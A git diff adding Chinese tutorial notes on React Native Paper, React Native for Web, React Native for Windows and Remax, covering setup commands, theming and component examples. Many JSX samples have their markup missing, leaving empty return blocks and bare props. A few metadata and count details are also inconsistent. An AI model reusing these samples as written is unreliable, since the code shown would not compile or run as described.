`Card.Title`、`Card.Content`、`Card.Cover`、`Card.Actions`。理解 mode = 理解「这个控件在视觉层级里扮演什么角色」。 + +4. **平台适配(Platform Adaptation)** + Paper 遵循 Material 的跨平台指南:同一组件在 iOS 上可能用 slightly 不同的 ripple / 字体度量,但整体仍保持 Material 身份,而不是完全变成 Cupertino。若你要「iOS 像 iOS、Android 像 Android」,需要额外做平台分支或换库。 + +5. **依赖与动画** + 现代版本依赖 `react-native-safe-area-context`(安全区)、`react-native-reanimated` + `react-native-worklets`(动画)。Expo 项目用 `npx expo install` 对齐版本;生产环境可在 `babel.config.js` 启用 `react-native-paper/babel` 插件做 **tree-shaking**,只打包用到的组件。 + +## 安装与项目接入 + +```bash +# 安装 Paper +npm install react-native-paper + +# Expo 项目:对齐 peer 依赖 +npx expo install react-native-safe-area-context react-native-reanimated react-native-worklets +``` + +Expo 已内置 vector icons,无需再装 `react-native-vector-icons`;裸 RN CLI 项目需额外安装并 link icons。 + +根组件接入: + +```tsx +import { PaperProvider } from 'react-native-paper'; +import App from './App'; + +export default function Root() { + return ( + + + + ); +} +``` + +## 实践案例 + +### 案例 1:自定义 MD3 主题 + 深色模式 + +```tsx +import { useMemo } from 'react'; +import { useColorScheme } from 'react-native'; +import { + MD3DarkTheme, + MD3LightTheme, + PaperProvider, + adaptNavigationTheme, +} from 'react-native-paper'; +import { NavigationContainer, DefaultTheme } from '@react-navigation/native'; + +const brandLight = { + ...MD3LightTheme, + colors: { + ...MD3LightTheme.colors, + primary: '#6750A4', + secondary: '#625B71', + }, +}; + +const brandDark = { + ...MD3DarkTheme, + colors: { + ...MD3DarkTheme.colors, + primary: '#D0BCFF', + secondary: '#CCC2DC', + }, +}; + +export default function Root() { + const scheme = useColorScheme(); + const paperTheme = scheme === 'dark' ? brandDark : brandLight; + + const { LightTheme, DarkTheme } = adaptNavigationTheme({ + reactNavigationLight: DefaultTheme, + reactNavigationDark: DefaultTheme, + }); + const navTheme = scheme === 'dark' ? DarkTheme : LightTheme; + + return ( + + + + + + ); +} +``` + +要点: + +- 基于 `MD3LightTheme` / `MD3DarkTheme` **展开合并**,只覆盖需要改的 `colors`,避免漏掉 MD3 必需的 token +- `useColorScheme()` 跟随系统深/浅色;也可接自己的主题开关 state +- `adaptNavigationTheme` 让 React Navigation 的 header / tab 颜色与 Paper 主题一致,减少「导航栏一种紫、按钮另一种紫」的割裂感 + +### 案例 2:登录表单 — TextInput、Button、Helper 文本 + +```tsx +import { useState } from 'react'; +import { View, StyleSheet } from 'react-native'; +import { + TextInput, + Button, + Text, + HelperText, + Surface, +} from 'react-native-paper'; + +export function LoginScreen() { + const [email, setEmail] = useState(''); + const [password, setPassword] = useState(''); + const [secure, setSecure] = useState(true); + const [loading, setLoading] = useState(false); + + const emailError = email.length > 0 && !email.includes('@'); + + async function handleLogin() { + setLoading(true); + try { + await signIn(email, password); + } finally { + setLoading(false); + } + } + + return ( + + + 登录 + + + + + 请输入有效邮箱 + + + setSecure((s) => !s)} + /> + } + mode="outlined" + /> + + + + ); +} + +const styles = StyleSheet.create({ + container: { margin: 16, padding: 24, borderRadius: 12 }, + title: { marginBottom: 16 }, + button: { marginTop: 24 }, +}); +``` + +要点: + +- `TextInput` 的 `mode="outlined"` / `"flat"` 对应 Material 描边与填充两种风格 +- `HelperText` 与 `error` prop 联动,比手写红色 `` 更符合 MD 规范 +- `Button` 的 `loading` 会自动显示 `ActivityIndicator` 并禁用重复点击 +- `Text variant="headlineSmall"` 使用主题 typescale,而不是硬编码 `fontSize` + +### 案例 3:Snackbar 全局反馈 + +```tsx +import { useState } from 'react'; +import { Button, Snackbar } from 'react-native-paper'; + +export function SaveExample() { + const [visible, setVisible] = useState(false); + + return ( + <> + + setVisible(false)} + action={{ label: '撤销', onPress: () => {} }} + duration={4000} + > + 已保存 + + + ); +} +``` + +实际项目里常把 Snackbar 状态提到 Context 或 Zustand,避免每个屏幕各自维护 `visible`。 + +## 常用组件速查 + +| 组件 | 典型用途 | +|------|----------| +| `Appbar.Header` / `Appbar.Action` | 顶栏、返回、菜单 | +| `FAB` / `FAB.Group` | 主操作悬浮按钮 | +| `Card` | 信息块、列表项容器 | +| `Chip` / `SegmentedButtons` | 标签、筛选、分段控制 | +| `Dialog` / `Portal` | 模态确认 | +| `Menu` / `Dropdown` | 溢出菜单 | +| `List.Item` / `List.Section` | 设置页、分组列表 | +| `DataTable` | 简单表格 | +| `ProgressBar` / `ActivityIndicator` | 加载与进度 | +| `Switch` / `Checkbox` / `RadioButton` | 表单控件 | + +完整列表见官方文档:https://callstack.github.io/react-native-paper/docs/components/ActivityIndicator + +## 常见坑与排查 + +1. **忘记包 `PaperProvider`** + 症状:组件样式全乱、控制台报 theme 相关 warning。解决:在导航和 Redux 内层包上 Provider。 + +2. **Modal 内主题/Redux 丢失** + Modal 渲染在独立子树。Redux Provider 必须在 Paper **外层**;若自定义 Modal 内 Paper 组件无主题,用 `ThemeProvider` 再注入一次或用 `withTheme` 传 `theme` prop。 + +3. **图标不显示(裸 RN)** + 需安装 `react-native-vector-icons` 并按平台 link;Expo 无此问题。 + +4. **Reanimated 版本不匹配** + 动画组件异常或构建失败。用 Expo 的 `npx expo install` 或对照 Paper 文档的最低版本要求。 + +5. **MD2 老项目升级** + 检查 breaking changes(`Provider` 改名为 `PaperProvider`、`accent` 色改为 `secondary` 等)。可暂时 `theme={{ version: 2, ...MD2LightTheme }}` 过渡。 + +6. **与 Tailwind / NativeWind 混用** + 可以共存,但同一元素不要既用 Paper 的 `style` 又用 className 抢布局;建议布局用 RN `StyleSheet`,视觉 token 用 Paper theme。 + +## 与生态的关系 + +- **Callstack**:React Native 商业支持与开源的核心团队,Paper 是其开源门面之一 +- **Expo**:无额外配置即可使用 Paper;Snack 上有官方 v5 示例项目 +- **React Navigation**:推荐 `adaptNavigationTheme` 统一主题 +- **Material Theme Builder**:导出 JSON 后可映射到 `theme.colors` +- **竞品参考**:NativeBase(更通用)、React Native Elements(更轻)、Tamagui(性能 / 编译向) + +## 学习路径建议 + +1. 跑通 `PaperProvider` + 一个 `Button` + 一个 `TextInput`(30 分钟) +2. 读官方 Theming 指南,改 `primary` 色并开深色模式(1 小时) +3. 用 `Card` + `List` + `Appbar` 拼一个设置页(半天) +4. 接 React Navigation,做带 FAB 的列表详情流(1 天) +5. 读 `react-native-paper/babel` 优化生产包体积(按需) + +## 小结 + +React Native Paper 把 Material Design 3 翻译成 RN 可直接使用的组件与主题系统。**`PaperProvider` + MD3 theme token + 语义化 `mode`** 是三个支点;其余是在此之上选 Card、Dialog、Snackbar 等标准件。对需要快速做出「像 Google 出品」的跨平台 App 的开发者,Paper 是最省心的起点之一。 diff --git a/src/content/docs/projects/react-native-web.md b/src/content/docs/projects/react-native-web.md new file mode 100644 index 000000000..f9d91e93d --- /dev/null +++ b/src/content/docs/projects/react-native-web.md @@ -0,0 +1,248 @@ +--- +title: React Native for Web — 用 RN 组件写浏览器页面 +来源: https://github.com/necolas/react-native-web +日期: 2026-06-13 +分类: 后端 API +子分类: 移动端 +provenance: pipeline-v3 +--- + +## 是什么 + +React Native for Web(简称 RN Web)是 Nicolas Gallagher 维护的**兼容层**:它让 React Native 的组件 API(`View`、`Text`、`Pressable` 等)在浏览器里通过 React DOM 正确渲染。日常类比:你有一套「宜家说明书」(React Native 代码),原本只能组装成 iOS/Android 家具;RN Web 相当于多给了一份「网页版适配说明书」——零件名字不变,但最终装出来的是能在 Chrome 里打开的页面。 + +它和 React Native 的关系不是「把网页套壳」,而是**反向**——把移动端的组件语义映射到 DOM + CSS: + +```jsx +import { View, Text, StyleSheet } from 'react-native'; + +export default function Hello() { + return ( + + 你好,Web + + ); +} + +const styles = StyleSheet.create({ + box: { flex: 1, justifyContent: 'center', alignItems: 'center' }, + title: { fontSize: 24, fontWeight: '600' }, +}); +``` + +在原生 App 里,这段代码走 Fabric/原生视图;在 Web 上,同一份 import 经 alias 后变成 `react-native-web`,`View` 渲染为带 flex 布局的 `div`,`Text` 渲染为 `span`/`div`,样式由 StyleSheet 转成优化的 CSS class。 + +## 为什么重要 + +不理解 RN Web,以下场景容易踩坑或选型失误: + +- **Expo / React Native 的 Web 入口**:Expo 默认 Web 支持背后就是 RN Web + Metro/Webpack;你以为在写「纯 RN」,浏览器端其实走的是这套兼容层 +- **一套代码三端**:Twitter、Flipkart 等曾用 RN Web 做增量迁移——先在 Web 复用 RN 组件,再逐步替换旧 React DOM 页面,而不是重写两套 UI +- **样式心智模型不同**:RN 默认纵向 Flexbox、`View` 不能直接放字符串、`fontSize` 只能写在 `Text` 上——从传统 HTML/CSS 转过来的人会反复撞这些规则 +- **打包 alias 是必选项**:`import from 'react-native'` 在 Web 构建里必须 alias 到 `react-native-web`,否则 bundler 会拉原生 RN 包直接报错 + +## 核心概念 + +RN Web 的技术核心可以拆成五块: + +1. **兼容层,不是模拟器**:底层仍是 React DOM + 浏览器 DOM API。RN Web 实现 RN 组件的 props 语义(布局、事件、无障碍),并在 Web 平台可用时直接调用新 DOM API,体积和性能会持续随浏览器进化而改善。 + +2. **核心组件集**:日常最常用 `View`(布局容器)、`Text`(文本,支持嵌套加粗/变色)、`Image`、`TextInput`、`ScrollView`、`Pressable`。交互走 RN 的 Gesture Responder 体系,在 Web 上映射为 pointer/touch 事件。 + +3. **View 的布局默认值**:每个 `View` 默认是 **flex 列布局**(`flexDirection: 'column'`),且 `position: 'relative'`。这和 Web 里 `div` 的 block 默认行为不同——写 RN Web 时要主动用 flex 思考,而不是 float/Grid 老习惯。 + +4. **Text 规则(最容易踩坑)**: + - **所有可见文字必须在 `` 里**,不能 `hello` + - **文字样式继承只在 Text 子树内**——不能给 `View` 设 `fontFamily` 指望子树全继承;推荐封装 `AppText` 组件统一字号/字体 + - `View` 里嵌 `Text` 时,该 View 会按 inline 方式参与文本流 + +5. **StyleSheet 与样式管线**: + - 用 `StyleSheet.create` 在组件外定义样式 → 运行时转成 **atomic CSS class**,去重、可静态提取、性能更好 + - 动态样式(如运行时算的 `top/left`)通常走 inline style + - 样式对象是 JS 对象:数字无单位的值表示 dp/逻辑像素(Web 上多映射为 px),`paddingHorizontal` 等 RN 简写都支持 + - 内置极小 CSS reset,其余样式按组件作用域生成,避免全局 CSS 污染 + +6. **模块 alias 与 `.web.js`**: + - Bundler 里配置 `'react-native$': 'react-native-web'`,让业务代码继续 `from 'react-native'` + - 平台差异文件用扩展名:例如 `Button.web.js` / `Button.native.js`,Web 构建优先解析 `.web.js` + - Babel 可用 `babel-plugin-react-native-web` 做按需引入,减小 bundle + +7. **AppRegistry 启动 Web 应用**:原生 RN 用 `AppRegistry.registerComponent`;Web 还需 `AppRegistry.runApplication`,把 React 树挂到 HTML 里某个 DOM 节点(如 `#root`)。 + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| React Native | RN Web 实现 RN 的跨平台组件契约;原生端仍用官方 RN,Web 端走 RN Web | +| React DOM | RN Web 构建于 React DOM 之上,不是替代 React | +| Expo | 官方推荐路径,Web 构建已集成 alias 与入口 | +| Next.js | 可通过自定义 Webpack/Turbopack alias 接入;SSR 需额外配置(如 Node 端 `module-alias`) | +| Tamagui / NativeWind | 常和 RN Web 联用,在 RN 样式模型上叠设计系统或 Tailwind | + +## 实践案例 + +### 案例 1:最小 Web 入口(Webpack + alias) + +安装依赖: + +```bash +npm install react-native-web react-dom +npm install -D webpack webpack-cli webpack-dev-server html-webpack-plugin babel-loader +``` + +`webpack.config.js` 关键配置——**alias 是灵魂**: + +```js +module.exports = { + entry: './index.web.js', + output: { filename: 'bundle.js', path: __dirname + '/dist' }, + resolve: { + alias: { + 'react-native$': 'react-native-web', + }, + extensions: ['.web.js', '.web.jsx', '.js', '.jsx'], + }, + module: { + rules: [ + { + test: /\.(js|jsx)$/, + exclude: /node_modules/, + use: { loader: 'babel-loader', options: { presets: ['@babel/preset-react'] } }, + }, + ], + }, +}; +``` + +`index.web.js` 把 App 挂到页面: + +```js +import { AppRegistry } from 'react-native'; +import App from './App'; + +AppRegistry.registerComponent('App', () => App); +AppRegistry.runApplication('App', { + initialProps: {}, + rootTag: document.getElementById('root'), +}); +``` + +`public/index.html` 里要有容器: + +```html +
+``` + +**逐行理解**:`registerComponent` 登记根组件名;`runApplication` 在 Web 上等价于 `createRoot(...).render()`,但 API 与原生 RN 保持一致,便于同一份 `App.tsx` 多端复用。 + +### 案例 2:Pressable 卡片 + StyleSheet 组合布局 + +下面是一个典型 RN Web 页面片段:外层 `View` 做 flex 居中,内层 `Pressable` 响应点击,`Text` 嵌套实现标题/副标题不同样式: + +```jsx +import { View, Text, Pressable, StyleSheet } from 'react-native'; + +export function ProfileCard({ name, bio, onPress }) { + return ( + + [ + styles.card, + pressed && styles.cardPressed, + ]} + onPress={onPress} + accessibilityRole="button" + > + {name} + {bio} + + + ); +} + +const styles = StyleSheet.create({ + screen: { + flex: 1, + justifyContent: 'center', + alignItems: 'center', + backgroundColor: '#f5f5f5', + }, + card: { + width: 320, + padding: 20, + borderRadius: 12, + backgroundColor: '#fff', + // RN Web 会生成对应 CSS;阴影在 Web 上映射为 box-shadow + shadowColor: '#000', + shadowOpacity: 0.1, + shadowRadius: 8, + elevation: 4, + }, + cardPressed: { + opacity: 0.85, + }, + name: { + fontSize: 20, + fontWeight: '700', + marginBottom: 8, + }, + bio: { + fontSize: 14, + color: '#666', + lineHeight: 20, + }, +}); +``` + +**要点**: + +- `Pressable` 的 `style` 可以是函数,根据 `pressed` 切换样式——Web 上对应 `:active` 类交互,但写法跨端统一 +- 阴影同时写 `shadow*`(iOS 语义)和 `elevation`(Android 语义),RN Web 会尽量映射到 CSS +- 不要把 `bio` 字符串直接放在 `Pressable` 和 `Text` 之间,必须包在 `Text` 里 + +### 案例 3:平台专属文件(`.web.js`) + +当 Web 需要不同实现(例如用 `localStorage` 而原生用 `AsyncStorage`): + +``` +utils/storage.js # 默认 / 原生 +utils/storage.web.js # Web 构建优先命中 +``` + +```js +// utils/storage.web.js +export async function getItem(key) { + return localStorage.getItem(key); +} +``` + +Webpack `resolve.extensions` 把 `.web.js` 放在 `.js` 前面即可;Metro 对原生包同理识别 `.native.js`。 + +## 常见坑与排查 + +1. **「Text strings must be rendered within a `` component」** + 检查是否在 `View`/`Pressable` 下直接写了字符串或数字。 + +2. **构建报错找不到 `react-native` 原生模块** + 检查 webpack/metro alias 是否为 `'react-native$': 'react-native-web'`(注意 `$` 表示精确匹配)。 + +3. **样式在 Web 上「差一点」** + RN 未实现的 CSS 属性会被忽略;复杂 Web-only 布局可写 `.web.js` 分支,或在该组件用 `Platform.OS === 'web'` 微调。 + +4. **Bundle 体积偏大** + 启用 `babel-plugin-react-native-web` 按需引入;避免把整个 RN 生态无 alias 地打进 Web 包。 + +5. **SSR / 预渲染** + Node 端需 `module-alias` 把 `react-native` 指到 `react-native-web`,并在无 `document` 环境避免调用 `AppRegistry.runApplication`。 + +## 学习路径建议 + +1. **先会 React Native 基础**:`View`/`Text`/Flexbox/`StyleSheet`——见本库 [`react-native`](./react-native.md) 笔记 +2. **用 Expo 开 Web**:`npx expo start --web`,观察同一 App 在浏览器如何运行 +3. **读官方组件文档**:[necolas.github.io/react-native-web/docs](https://necolas.github.io/react-native-web/docs/) 每个组件有 live example +4. **理解 alias + AppRegistry**:自己用 Vite/Webpack 搭一次最小 demo,比只看 Expo 黑盒更扎实 +5. **进阶**:无障碍 props、`pointerEvents`、RTL 布局(`I18nManager`)、与 React 18 并发特性配合 + +## 小结 + +React Native for Web 的价值在于:**用 RN 的组件与样式模型写 UI,同时触达浏览器**。它不是「在 Web 上跑 RN 二进制」,而是精心实现的 React DOM 渲染层。掌握 alias、`Text` 规则、Flex 默认列布局、`StyleSheet.create` 和 `AppRegistry.runApplication`,就能读懂 Expo Web、跨平台组件库和多数「一套代码多端」项目的 Web 那一半。 diff --git a/src/content/docs/projects/react-native-windows.md b/src/content/docs/projects/react-native-windows.md new file mode 100644 index 000000000..c73bba057 --- /dev/null +++ b/src/content/docs/projects/react-native-windows.md @@ -0,0 +1,258 @@ +--- +title: React Native for Windows — 用 JavaScript 写原生 Windows 桌面应用 +来源: https://github.com/microsoft/react-native-windows +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +React Native for Windows(简称 RNW)是微软维护的 **React Native 官方 Windows 平台扩展**。日常类比:React Native 原本是一套「多国语言菜单」——同一份 JavaScript 菜谱,iOS 厨房做 iOS 菜、Android 厨房做 Android 菜;RNW 相当于在 Windows 餐厅里加了一间**本地厨房**,把 ``、`` 这些 RN 指令翻译成 Windows 原生 UI(WinUI / XAML 控件),而不是塞进 WebView 里跑网页。 + +和 React Web 的本质区别: + +| 维度 | React(Web) | React Native for Windows | +|------|--------------|---------------------------| +| 渲染目标 | 浏览器 DOM | Windows 原生控件 | +| 运行环境 | Chrome / Edge | UWP / Win32 桌面进程 | +| 样式模型 | CSS | Flexbox 风格的 StyleSheet | +| 打包产物 | HTML + JS bundle | `.exe` / MSIX 安装包 | + +```jsx +import { View, Text, Pressable, StyleSheet } from 'react-native'; + +export default function App() { + return ( + + 你好,Windows + alert('来自 RNW')}> + 点我 + + + ); +} + +const styles = StyleSheet.create({ + container: { flex: 1, justifyContent: 'center', alignItems: 'center' }, + title: { fontSize: 28, fontWeight: '600', marginBottom: 16 }, + btn: { backgroundColor: '#0078d4', paddingHorizontal: 24, paddingVertical: 12, borderRadius: 4 }, + btnText: { color: '#fff', fontSize: 16 }, +}); +``` + +这段代码在 iOS/Android 上走各自原生视图;在 Windows 上,RNW 的 Fabric 渲染器把它映射成 XAML 元素树——**看起来仍是 RN 写法,底下已是 Windows UI**。 + +## 为什么重要 + +不理解 RNW,以下场景容易选型失误或踩坑: + +- **「已有 RN 移动端,能否顺手做 Windows 桌面版?」**——可以,业务层 JS/TS 大量复用,但需单独 `init-windows` 生成 `windows/` 原生工程,不是自动就有 +- **和 Electron 怎么选?**——Electron 本质是 Chromium + Node;RNW 走原生控件,内存占用通常更低,和系统外观/无障碍集成更好,但生态和 Web 库兼容性不如 Electron +- **架构大换血(2025–2026)**——RNW 0.80 起新应用默认 **New Architecture(Fabric)**;0.82 已**完全移除旧 Paper 渲染器**,升级前必须完成迁移 +- **开发机必须是 Windows**——构建、调试、签名都依赖 Visual Studio 2022 + Windows SDK;Mac 上只能写 JS,不能编译 Windows 包 +- **微软长期投入**——GitHub 17k+ stars,Office / Xbox 等内部场景有落地;与 [Fluent UI React Native](https://github.com/microsoft/fluentui-react-native) 组件库配套,适合企业风桌面 UI + +## 核心概念 + +RNW 的心智模型可以拆成 **六块**: + +1. **平台包 `react-native-windows`**:npm 依赖,版本号与 `react-native` 主版本对齐(如 RN 0.80 配 `react-native-windows@0.80.x`)。它提供 Windows 原生桥接、Metro 配置扩展、CLI 子命令。 + +2. **`windows/` 原生工程**:由 `react-native init-windows` 生成,内含 C++/WinRT 或(旧模板)C# UWP 项目、`.sln` 解决方案、NuGet 依赖。类比:这是 Windows 端的「厨房设备说明书」,JS 层不直接碰,但升级 RNW 时常需同步改这里。 + +3. **New Architecture(Fabric + TurboModules)**: + - **Fabric**:新一代同步渲染器,替代旧 Paper;支持更 predictable 的布局与并发特性 + - **TurboModules**:原生模块的 JSI 直连,减少异步 bridge 开销 + - 0.76 首次预览 → 0.80 新应用默认 → **0.82 仅 Fabric,Paper 已删除** + - 旧项目**不能**靠一个开关启用,必须在 `init-windows` 时选 `--template cpp-app`(新)或 `old/uwp-cpp-app`(旧) + +4. **模板(Templates)**: + - `cpp-app`:新架构 C++ Win32 应用(推荐,预编译 NuGet,构建更快) + - `cpp-lib`:新架构 Turbo Module 库 + - `old/uwp-cpp-app`:旧 Paper 架构(0.82 前遗留项目) + - 首次 `init-windows` 不传 `--template` 时,0.80+ 默认 `cpp-app` + +5. **CLI 工作流**: + - `npx react-native run-windows`:编译并启动 Windows 应用(Debug/Release) + - `npx react-native autolink-windows`:扫描 npm 依赖里带 Windows 实现的库并链接 + - Metro bundler 仍负责打包 JS,与移动端同一套热重载体验 + +6. **系统要求(2026 年主流环境)**: + - Windows 10/11,Node.js ≥ 18 + - **Visual Studio 2022**(17.11+),工作负载「使用 C++ 的桌面开发」+ Windows 10/11 SDK(≥ 10.0.22621) + - 启用**开发者模式**(Settings → Privacy & security → For developers) + - CLI 通过 `vswhere` 查找 VS;Insiders 版 VS 2026 可能尚未被识别,需用正式 VS 2022 + +## 从零创建第一个 RNW 应用 + +官方推荐流程(以 RNW 0.80+ / Fabric 为例): + +```bash +# 1. 创建 RN 项目(版本与 RNW 对齐) +npx @react-native-community/cli@latest init HelloWindows --version 0.80.0 +cd HelloWindows + +# 2. 添加 Windows 平台依赖 +yarn add react-native-windows@^0.80.0 + +# 3. 生成 windows/ 原生工程(新架构模板) +yarn react-native init-windows --template cpp-app --overwrite + +# 4. 运行 +npx react-native run-windows +``` + +成功后会弹出 Win32 窗口,Metro 终端支持 **Fast Refresh**——改 JS 保存即刷新,和移动端开发节奏一致。 + +若需旧架构(仅维护遗留项目,0.82 前): + +```bash +yarn react-native init-windows --template old/uwp-cpp-app --overwrite +``` + +## 实践案例 + +### 案例 1:带状态的 Windows 桌面计数器 + +```jsx +import { useState } from 'react'; +import { View, Text, Pressable, StyleSheet } from 'react-native'; + +export default function Counter() { + const [count, setCount] = useState(0); + + return ( + + Windows 计数器 + {count} + + setCount((c) => c - 1)}> + + + setCount((c) => c + 1)}> + + + + + + ); +} + +const styles = StyleSheet.create({ + root: { flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#f3f3f3' }, + label: { fontSize: 18, color: '#605e5c', marginBottom: 8 }, + count: { fontSize: 48, fontWeight: '700', marginBottom: 24 }, + row: { flexDirection: 'row', gap: 12 }, + btn: { width: 56, height: 56, borderRadius: 28, backgroundColor: '#e1dfdd', justifyContent: 'center', alignItems: 'center' }, + primary: { backgroundColor: '#0078d4' }, + btnText: { fontSize: 24, color: '#fff' }, +}); +``` + +**要点**: + +- `useState` 与 Web/React 完全一致;RNW 不负责状态管理,只负责把 JSX 变原生 UI +- `flexDirection: 'row'` 在 Windows 上与 iOS 相同——RN 默认纵向 flex,行布局需显式指定 +- 键盘快捷键、窗口标题栏等系统行为可在 `windows/` 原生层或 `react-native-windows` 提供的 API 中扩展 + +### 案例 2:调用 Windows 原生能力(Turbo Module 概念) + +许多能力已有社区模块(如 `@react-native-clipboard/clipboard`);若需自定义原生代码,新架构下写 **Turbo Module**。JS 侧消费长这样: + +```tsx +// NativeTimeModule.ts — JS 接口 +import { TurboModuleRegistry } from 'react-native'; + +export interface Spec { + getLocalTime(): string; +} + +export default TurboModuleRegistry.getEnforcing('NativeTime'); +``` + +```tsx +// ClockScreen.tsx — 在组件里用 +import React, { useEffect, useState } from 'react'; +import { View, Text, StyleSheet } from 'react-native'; +import NativeTime from './NativeTimeModule'; + +export function ClockScreen() { + const [time, setTime] = useState(''); + + useEffect(() => { + setTime(NativeTime.getLocalTime()); + const id = setInterval(() => setTime(NativeTime.getLocalTime()), 1000); + return () => clearInterval(id); + }, []); + + return ( + + 系统本地时间 + {time} + + ); +} + +const styles = StyleSheet.create({ + box: { flex: 1, justifyContent: 'center', alignItems: 'center' }, + h1: { fontSize: 20, marginBottom: 12 }, + time: { fontFamily: 'Consolas', fontSize: 32 }, +}); +``` + +C++ 实现放在 `windows/` 工程内,通过 codegen 与 JS 绑定。完整步骤见官方 [Native Modules (TurboModules)](https://microsoft.github.io/react-native-windows/docs/native-modules) 文档。类比:Turbo Module 是「直通厨房的内部电话」,比旧 bridge 的「写纸条等回调」延迟更低。 + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| React Native | RNW 是 RN 的 Windows 平台实现;共享 JS 运行时与组件模型 | +| react-native-macos | 姊妹项目,同一 monorepo 生态,macOS 桌面端 | +| Expo | 官方 Windows 支持仍在演进;复杂原生需求常用裸 RN + RNW | +| Electron | 两者都做桌面;Electron = Web 技术栈,RNW = 原生控件 | +| WinUI 3 / .NET MAUI | 微软原生 UI 框架;RNW 适合已有 RN 团队,MAUI 适合纯 C# 团队 | +| Fluent UI React Native | 微软出品的 RN 跨平台 Fluent 组件,Windows 上体验最佳 | + +## Paper → Fabric 迁移要点 + +若项目仍标注 `old/uwp-cpp-app` 或使用 Paper,升级到 RNW 0.82 **必须先迁移**: + +1. 备份 `windows/` 目录与 `package.json` 锁文件 +2. 升级 `react-native` 与 `react-native-windows` 到目标版本(如 0.80 → 0.82) +3. 重新执行 `yarn react-native init-windows --template cpp-app --overwrite`(会覆盖原生工程) +4. 手动合并自定义原生代码、应用 manifest、证书配置 +5. 跑通 `npx react-native run-windows`,对照 [Calculator 迁移示例](https://github.com/microsoft/react-native-windows-samples/tree/main/samples/Calculator) 排查差异 + +微软提供 [Migration Guide](https://microsoft.github.io/react-native-windows/docs/migration-guide) 与 RNTester 对照应用;**React Native Gallery**(Microsoft Store 可下载)展示各组件在 Fabric 下的实际表现。 + +## 常见问题 + +**Q:能在 WSL 里编译吗?** +A:不推荐。RNW 依赖 MSBuild、VC++ 工具链和 Windows SDK,应在 Windows 本机或 Windows CI 代理上构建。 + +**Q:和 UWP 商店发布的关系?** +A:新 `cpp-app` 模板面向 Win32;旧 UWP 模板仍可用于 Microsoft Store,但新功能优先投入 Fabric Win32 路径。发布前查当前版本 [打包文档](https://microsoft.github.io/react-native-windows/docs/publishing)。 + +**Q:Expo 项目能直接加 RNW 吗?** +A:Expo 托管工作流以移动端为主;Windows 支持需 eject / prebuild 后手动集成 RNW,工程复杂度明显高于纯 Expo 工作流。 + +**Q:调试工具?** +A:Chrome/Edge DevTools 调试 JS;原生层用 Visual Studio 附加到进程;Flipper 支持因版本而异,以官方文档为准。 + +## 学习路径建议 + +1. 先掌握 **React Native 基础**(组件、StyleSheet、导航)——RNW 不另起一套 JS API +2. 在 Windows 本机走通 **Getting Started** 四步:init → add → init-windows → run-windows +3. 安装 **React Native Gallery**,对照组件行为 +4. 阅读 **New Architecture** 文档,新项目直接用 `cpp-app` +5. 有原生需求时再学 Turbo Module 与 `windows/` 工程结构 + +## 资源 + +- 官方文档:https://microsoft.github.io/react-native-windows/ +- GitHub:https://github.com/microsoft/react-native-windows +- 示例仓库:https://github.com/microsoft/react-native-windows-samples +- 微软 Learn 入门:https://learn.microsoft.com/en-us/windows/dev-environment/javascript/react-native-for-windows +- 博客(版本发布):https://devblogs.microsoft.com/react-native/ +- 快速链接:aka.ms/reactnative diff --git a/src/content/docs/projects/remax.md b/src/content/docs/projects/remax.md new file mode 100644 index 000000000..dea4687f7 --- /dev/null +++ b/src/content/docs/projects/remax.md @@ -0,0 +1,272 @@ +--- +title: Remax — 用真正的 React 构建跨平台小程序 +来源: https://github.com/remaxjs/remax +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +Remax 是蚂蚁集团(阿里巴巴)开源的**小程序 React 运行时**方案:你写标准 React 组件、Hooks、Context,Remax 在小程序的逻辑层里跑起真正的 React reconciler,再把虚拟 DOM 变成小程序能消费的 JSON 树,通过 `setData` 驱动各端原生视图。日常类比: + +> 微信小程序像一座**只允许方言广播的城市**——官方视图层只认 `view`/`text` 和模板语法,逻辑层又不能直接摸 DOM。 +> Remax 在城市里建了一个**同声传译电台**:你在电台里照常用普通话(React/JSX)主持节目,电台内部把每一句话整理成「广播稿」(VNode JSON),市政喇叭(`setData` + 预生成模板)按稿向街头大屏播报。 + +它和「把 JSX 编译成 WXML 字符串」的**编译时**方案(早期 Taro 1、mpvue)不同:Remax 走**运行时渲染器**,官方 slogan 是 *Learn once, write anywhere*,自称「针对小程序的 React Native」——上层几乎没有 React 语法限制,Hooks 可用。 + +```bash +# 创建项目(Node.js >= 12) +npx create-remax-app my-app +cd my-app && npm install + +# 单端开发 +npm run dev + +# 跨平台项目指定端,例如微信 +npm run dev wechat +``` + +> **现状提示**:GitHub 仓库 `remaxjs/remax` 已标记为 **Archived**(最后活跃约 2024 年初)。学习 Remax 仍有价值——它清晰展示了 `react-reconciler` 自定义渲染器、VNode 桥接 `setData` 的经典范式;新项目选型请对照 Taro 3+、uni-app 等仍在维护的方案。 + +## 为什么重要 + +不理解 Remax,读「React 跑在小程序里」类文章容易和 Taro、kbone 混为一谈: + +- **运行时 vs 编译时**:Remax 不限制 JSX 动态能力(map 渲染、条件组件、第三方 React 库),因为 reconciliation 在运行时完成;编译时转译往往要遵守额外语法约束 +- **与 kbone 的差异**:kbone 在逻辑层**仿造 DOM/BOM**,任何框架都能挂上去;Remax 只实现了一套 **React 专用 HostConfig**,更轻、更贴 React 生态,但不支持 Vue +- **与 Taro 3 的相似点**:二者都是「真 React + 自定义渲染器 + 各端组件映射」;Taro 持续维护且覆盖 H5/RN,Remax 更专注小程序、工程更轻,历史上有支付宝/淘宝内部实践 +- **读懂架构的迁移价值**:掌握 VNode → Page `data` → 递归模板 这条链路,有助于理解所有「setData 驱动 UI」的小程序框架性能瓶颈 + +## 核心概念 + +Remax 工程分为 **`remax`(运行时)** 与 **`remax-cli`(构建)** 两部分。心智模型可拆成六块: + +### 1. react-reconciler 自定义渲染器 + +Remax 在小程序 Worker 线程里注册 React 的 reconciler。开发者写的组件经 reconciliation 后,不直接操作 DOM,而是更新一棵 **VNode 树**(带 `id`、`type`、`props`、`children` 的 JSON 友好结构)。类比:React 以为自己在改 DOM,实际改的是后台的「广播稿」。 + +### 2. VNode → setData → 视图 + +更新完成后,根容器调用 `applyUpdate`,把 VNode 序列化后通过小程序原生 **`setData`** 写入 Page 的 `data`(常见根字段为 `root`)。渲染层不靠手写 WXML,而靠 **构建期生成的通用模板**:按 `item.type` 选择 